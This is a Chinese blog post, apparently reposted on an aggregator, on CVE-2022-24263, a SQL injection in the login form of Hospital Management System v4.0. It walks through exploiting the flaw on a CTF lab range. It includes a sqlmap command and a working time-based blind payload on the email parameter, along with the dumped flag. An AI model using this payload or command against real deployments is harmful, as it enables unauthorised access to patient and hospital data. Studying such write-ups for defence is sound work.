Hospital Management System v4.0 SQL 注入漏洞（CVE-2022-24263）

news2024/9/22 3:45:52

前言

CVE-2022-24263 是一个影响 Hospital Management System (HMS) v4.0 的 SQL 注入漏洞。这个漏洞允许攻击者通过注入恶意 SQL 代码来获取数据库的敏感信息，甚至可能控制整个数据库。以下是对这个漏洞的详细介绍：

漏洞描述

在 Hospital Management System v4.0 中，存在多个输入字段没有正确过滤用户输入，导致 SQL 注入漏洞。攻击者可以通过构造特定的 SQL 查询，将恶意代码注入到系统中，进而访问或修改数据库中的数据。

影响范围

任何运行 Hospital Management System v4.0 的系统都可能受到此漏洞的影响。如果系统没有应用适当的安全更新或修复，攻击者可以利用这个漏洞对数据库进行未授权的访问。

漏洞利用

利用这个漏洞的一个常见方法是通过登录表单或其他用户输入点注入恶意 SQL 代码。例如，攻击者可能会在用户名或密码字段中输入特殊构造的 SQL 语句，从而绕过身份验证或执行其他数据库操作。

修复措施

要修复此漏洞，开发者应确保所有用户输入都经过严格的验证和过滤，特别是在生成 SQL 查询时。此外，采用预编译语句（prepared statements）和参数化查询可以有效防止 SQL 注入攻击。

春秋云镜靶场是一个专注于网络安全培训和实战演练的平台，旨在通过模拟真实的网络环境和攻击场景，提升用户的网络安全防护能力和实战技能。这个平台主要提供以下功能和特点：

实战演练：

提供各种网络安全攻防演练场景，模拟真实的网络攻击事件，帮助用户在实际操作中掌握网络安全技术。
场景涵盖Web安全、系统安全、网络安全、社工攻击等多个领域。

漏洞复现：

用户可以通过平台对已知的安全漏洞进行复现，了解漏洞的产生原因、利用方法和修复措施。
通过实战操作，帮助用户掌握漏洞利用和防护的技能。

教学培训：

提供系统化的网络安全课程，从基础到高级，覆盖多个安全领域，适合不同水平的用户。
包含理论讲解和实战操作，帮助学员全面提升网络安全知识和实战能力。

竞赛与评测：

定期举办网络安全竞赛，如CTF（Capture The Flag）比赛，激发学员的学习兴趣和动力。
提供个人和团队的安全能力评测，帮助学员了解自己的安全技能水平。

资源共享：

平台提供丰富的学习资源，包括教程、工具、案例分析等，方便用户随时查阅和学习。
用户可以在社区中分享经验和资源，互相交流和学习。

春秋云镜靶场适合网络安全从业人员、学生以及对网络安全感兴趣的个人，通过在平台上进行不断的学习和实战演练，可以有效提升网络安全技能和防护能力。

介绍

Hospital Management System (HMS) v4.0 是一款综合性的医疗管理软件，专为医疗机构设计，以简化和优化医院的管理流程和操作。以下是 HMS v4.0 的主要特点和功能：

主要特点

  1. 患者管理

    • 记录和管理患者的详细信息，包括基本信息、病历、就诊记录和治疗方案。
    • 支持患者的入院、出院和转院管理。

  2. 预约管理

    • 提供便捷的预约系统，患者可以在线预约医生，减少排队时间，提高就诊效率。
    • 医生可以查看和管理预约记录，安排和调整日程。

  3. 医生管理

    • 管理医生的详细信息和工作安排。
    • 记录医生的就诊记录和手术记录，便于绩效考核和工作评估。

  4. 药品管理

    • 记录和管理医院药品库存，包括药品的采购、库存、发放和使用情况。
    • 提供药品使用报告和库存预警，确保药品供应的及时和安全。

  5. 财务管理

    • 管理医院的财务收支，包括挂号费、诊疗费、药品费和其他费用。
    • 提供详细的财务报表和统计分析，帮助医院进行财务管理和决策。

  6. 病房管理

    • 管理病房和床位信息，包括病房的分配、使用和维护。
    • 提供病房的实时状态，便于医院进行资源调配和管理。

  7. 实验室管理

    • 管理实验室的检验项目和结果，记录患者的检验报告。
    • 提供检验数据的统计分析，辅助医生进行诊断和治疗。

  8. 报告生成

    • 生成各种管理报告和统计分析，包括患者报告、财务报告、药品使用报告等。
    • 支持自定义报表，满足不同用户的需求。

应用场景

Hospital Management System v4.0 适用于各种类型和规模的医疗机构，包括：

  • 综合医院：大中型综合医院，可以利用 HMS 的全面功能，提升医院的管理效率和服务质量。
  • 专科医院：专注于某一专科的医院，可以根据需要定制 HMS 的模块，专注于特定领域的管理。
  • 诊所和门诊部：小型医疗机构可以利用 HMS 的核心功能，提高日常运营的效率。

优势

  1. 提高管理效率：通过信息化管理，减少人工操作，提高工作效率和准确性。
  2. 优化患者体验：提供便捷的预约和就诊服务，缩短患者等待时间，提升患者满意度。
  3. 增强数据安全：通过权限控制和数据加密，保护患者隐私和医院数据的安全。
  4. 支持决策分析：通过全面的统计分析和报表生成，辅助医院管理层进行决策。

总结

Hospital Management System v4.0 是一款功能强大、操作简便的医疗管理软件，旨在通过信息化手段，优化医院的管理流程，提高工作效率和服务质量。它适用于各类医疗机构，是现代医院管理的理想选择。

漏洞复现

打开靶场

进入靶场是这个页面

网上查找漏洞相关信息

点击登录

可以看到有一个邮箱参数及密码，这里应该就是漏洞了 

打开 BurpSuite 拦截抓包

复制值到 txt 文件中，使用 SQLMap 开跑

省略爆库爆表过程……（太慢了）

D:\CVE\sqlmap-master>python sqlmap.py -r sqlmap-post.txt -D "ctf" -T "flag" -C "flag" --dump
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.8.6.17#dev}
|_ -| . [.]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:17:15 /2024-07-03/

[22:17:15] [INFO] parsing HTTP request from 'sqlmap-post.txt'
[22:17:16] [INFO] resuming back-end DBMS 'mysql'
[22:17:16] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=a4p7mmiqgl2...ugmsr9eago'). Do you want to use those [Y/n] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=666@qq.com' AND (SELECT 1648 FROM (SELECT(SLEEP(5)))CpfC) AND 'ThOA'='ThOA&password2=123&patsub=Login
---
[22:17:17] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.20, PHP
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[22:17:17] [INFO] fetching entries of column(s) 'flag' for table 'flag' in database 'ctf'
[22:17:17] [INFO] fetching number of column(s) 'flag' entries for table 'flag' in database 'ctf'
[22:17:17] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[22:17:20] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] n
1
[22:17:41] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
flag{d3ca3cd0-568f-48ff-bc52-421bffb4a
[22:29:51] [ERROR] invalid character detected. retrying..
ba6}
Database: ctf
Table: flag
[1 entry]
+--------------------------------------------+
| flag                                       |
+--------------------------------------------+
| flag{d3ca3cd0-568f-48ff-bc52-421bffb4aba6} |
+--------------------------------------------+

[22:31:04] [INFO] table 'ctf.flag' dumped to CSV file 'C:\Users\ydd33\AppData\Local\sqlmap\output\eci-2zeculqw9h9wqm1tjdmm.cloudeci1.ichunqiu.com\dump\ctf\flag.csv'
[22:31:04] [INFO] fetched data logged to text files under 'C:\Users\ydd33\AppData\Local\sqlmap\output\eci-2zeculqw9h9wqm1tjdmm.cloudeci1.ichunqiu.com'

[*] ending @ 22:31:04 /2024-07-03/

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1908060.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

【web前端HTML+CSS+JS】--- JS学习笔记03

【web前端HTML+CSS+JS】--- JS学习笔记03

一、JS介绍 可以在前端页面上进行逻辑处理，来解决表单的验证等问题，提升效率，直接在前端提示问题，减少服务器压力 应用1：可以做静态验证和动态验证（进行异步请求） 应用2：可以解析后…
阅读更多...
Go-Zero 框架使用 MongoDB，数据采集入库如此简单

Go-Zero 框架使用 MongoDB，数据采集入库如此简单

目录 引言 环境准备 如何使用 main入口代码实现 实现采集网络接口 总结 其他资源 引言 Go-Zero 是一个高性能、可扩展的微服务框架，专为 Go 语言设计。它提供了丰富的功能，如 RPC、RESTful API 支持、服务发现、熔断器、限流器等，使开…
阅读更多...
青岛外贸建站公司wordpress网站模板

青岛外贸建站公司wordpress网站模板

电子数码wordpress网站模板 电子数码wordpress网站模板，做数码电子的生产厂家或外贸公司官方网站模板。 https://www.jianzhanpress.com/?p3161 金属不锈钢wordpress外贸主题 适合从事金属不锈钢生产、加式或做外贸的公司，简洁wordpress外贸主题模板…
阅读更多...
文本到图像的革新：自动化Prompt优化的UF-FGTG框架

文本到图像的革新：自动化Prompt优化的UF-FGTG框架

在文本到图像合成领域，已经能够由文本描述直接生成图像。然而，尽管这一技术带来了无限的可能性，它仍然面临着一个关键挑战：如何设计出能够引导模型生成高质量图像的提示（prompts）。尤其是对于初学者而言&am…
阅读更多...
【国产开源可视化引擎Meta2d.js】铅笔

【国产开源可视化引擎Meta2d.js】铅笔

铅笔 铅笔是可以任意涂鸦的绘图小工具 在线体验： 乐吾乐2D可视化 示例： // 开始铅笔绘画 meta2d.drawingPencil();// 鼠标抬起结束// 停止铅笔绘画（关闭铅笔绘画状态） meta2d.stopPencil(); 国产开源 乐吾乐潜心研发&#xff…
阅读更多...
4 回归： 比赛代码，时间窗口特征

4 回归： 比赛代码，时间窗口特征

看到了不错的代码我就想收集一下 。 这是2024科大讯飞电力需求预测挑战赛的baseline。你可以在AI and competition里获取更多比赛的baseline。本次比赛官网如下:电力需求预测挑战赛。目前该baseline在比赛中相对靠前。 AI-and-competition/202407科大讯飞电力需求预测baseli…
阅读更多...
数据防泄密软件精选|6款好用的数据防泄漏软件强推

数据防泄密软件精选|6款好用的数据防泄漏软件强推

某科技公司会议室，CEO张总、CIO李总、信息安全主管王经理正围绕最近发生的一起数据泄露事件展开讨论。 张总（忧虑）: 大家，这次的数据泄露事件对我们来说是个沉重的打击。客户信息的外泄不仅损害了我们的信誉，还可能面…
阅读更多...
自动化测试高级控件交互方法：TouchAction、触屏操作、点按，双击，滑动，手势解锁！

自动化测试高级控件交互方法：TouchAction、触屏操作、点按，双击，滑动，手势解锁！

在自动化测试领域中，TouchAction 是一种非常强大的工具，它允许我们模拟用户在设备屏幕上的各种触摸事件。这种模拟不仅限于简单的点击操作，还包括滑动、长按、多点触控等复杂的手势。 点按与双击 点按和双击是触屏设备上最基本的操作之一。…
阅读更多...
ViewPager

ViewPager

作用 实现翻页的效果。 1、在activity_main.xml中创建ViewPager <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas.android.com/apk/res/android"android:layout_width"match_parent"…
阅读更多...
产品经理-的职业发展(9)

产品经理-的职业发展(9)

找一份好工作&#xff0c;就是为了获得更好的职业发展&#xff0c;下面分别给大家介绍下大、中、小型公司的职业发展路径 中小型公司 中小型公司的规模往往相对不大&#xff0c;又处于飞速发展过程中&#xff0c;培养体系和晋升标准都不够成熟&#xff0c;所以实际的职业发展路…
阅读更多...
如何将heic转jpg格式？四种图片格式转换方法【附教程】

如何将heic转jpg格式？四种图片格式转换方法【附教程】

如何把heic转jpg格式&#xff1f;heic是用于存储静态图像和图形的压缩格式&#xff0c;旨在以更小的文件大小保持高质量的图像。HEIC格式自iOS 11和macOS High Sierra&#xff08;10.13&#xff09;内测开始&#xff0c;被苹果设置为图片存储的默认格式&#xff0c;广泛应用于i…
阅读更多...
C++进阶-二叉树进阶（二叉搜索树）

C++进阶-二叉树进阶（二叉搜索树）

1. 二叉搜索树 1.1 二叉搜索树概念 二叉搜索树又称二叉排序树&#xff0c;它或者是一棵空树&#xff0c;或者是具有以下性质的二叉树: 1.若它的左子树不为空&#xff0c;则左子树上所有节点的值都小于根节点的值2.若它的右子树不为空&#xff0c;则右子树上所有节点的值都大于…
阅读更多...
代码随想录（day1）二分法

代码随想录（day1）二分法

if语句的基本语法 if 要判断的条件: 条件成立的时候&#xff0c;要做的事举例&#xff1a; if nums[middle]<target:leftmiddle1 while语句的基本语法&#xff1a; while 判断条件(condition)&#xff1a;执行语句(statements)举例&#xff1a; while left<right:midd…
阅读更多...
【LLM】二、python调用本地的ollama部署的大模型

【LLM】二、python调用本地的ollama部署的大模型

系列文章目录 往期文章&#xff1a; 【LLM】一、利用ollama本地部署大模型 目录 文章目录 前言 一、ollama库调用 二、langchain调用 三、requests调用 四、相关参数说明&#xff1a; 总结 前言 本地部署了大模型&#xff0c;下一步任务便是如何调用的问题&#xff0c…
阅读更多...
前端vue打印后端对象为[object,object]

前端vue打印后端对象为[object,object]

今天给自己项目进行编写前端页面时&#xff0c;惊讶的发现&#xff0c;自己进行打印后端传递的对象&#xff0c;一直显示未[object,object]&#xff0c;如下图所示&#xff1a; 感觉很奇怪&#xff0c;于是我猜测是不是自己获取的返回数据的问题&#xff0c;在进行添加了datat…
阅读更多...
顶会FAST24最佳论文｜阿里云块存储架构演进的得与失-4.EBS不同架构性能提升思路

顶会FAST24最佳论文｜阿里云块存储架构演进的得与失-4.EBS不同架构性能提升思路

3.1 平均延迟与长尾延迟 虚拟磁盘&#xff08;VD&#xff09;的延迟是由其底层架构决定的&#xff0c;具体而言&#xff0c;取决于请求所经历的路径。以EBS2为例&#xff0c;VD的延迟受制于两跳网络&#xff08;从BlockClient到BlockServer&#xff0c;再至ChunkServer&#x…
阅读更多...
顾客排队购买蛋挞问题（算法与数据结构设计）

顾客排队购买蛋挞问题（算法与数据结构设计）

课题内容和要求 顾客排队买蛋挞问题。有N个顾客排队&#xff0c;每人最多买M个。烘焙员每次烘焙1到K个蛋挞放入盘中&#xff0c;顾客只能购买盘中的蛋挞&#xff0c;未达到M个需重新排队。输出每个顾客购买情况和完成顺序。 例如—— 输入&#xff1a;N9&#xff0c;K5&#x…
阅读更多...
游戏软件缺少d3dx9_42.dll怎么修复？五种方法助你轻松解决

游戏软件缺少d3dx9_42.dll怎么修复？五种方法助你轻松解决

D3DX9_42.dll的丢失是一种常见的操作系统异常问题&#xff0c;由于日常使用电脑时的不当操作&#xff0c;可能会导致一些dll文件的丢失&#xff0c;D3DX9_42.dll就是其中之一。对于这种情况&#xff0c;我们可以通过谨慎的修复来解决。以下是一种科学的解决D3DX9_42.dll丢失的方…
阅读更多...
【面试题】串联探针和旁挂探针有什么区别？

【面试题】串联探针和旁挂探针有什么区别？

在网络安全领域中&#xff0c;串联探针和旁挂探针&#xff08;通常也被称为旁路探针&#xff09;是两种不同部署方式的监控设备&#xff0c;它们各自具有独特的特性和应用场景。以下是它们之间的主要区别&#xff1a; 部署方式 串联探针&#xff1a;串联探针一般通过网关或者…
阅读更多...
刷题（day01）

刷题（day01）

1、leetcode485.最大连续1的个数 给定一个二进制数组 nums &#xff0c; 计算其中最大连续 1 的个数。 示例 1&#xff1a; 输入&#xff1a;nums [1,1,0,1,1,1] 输出&#xff1a;3 解释&#xff1a;开头的两位和最后的三位都是连续 1 &#xff0c;所以最大连续 1 的个数是 3.…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023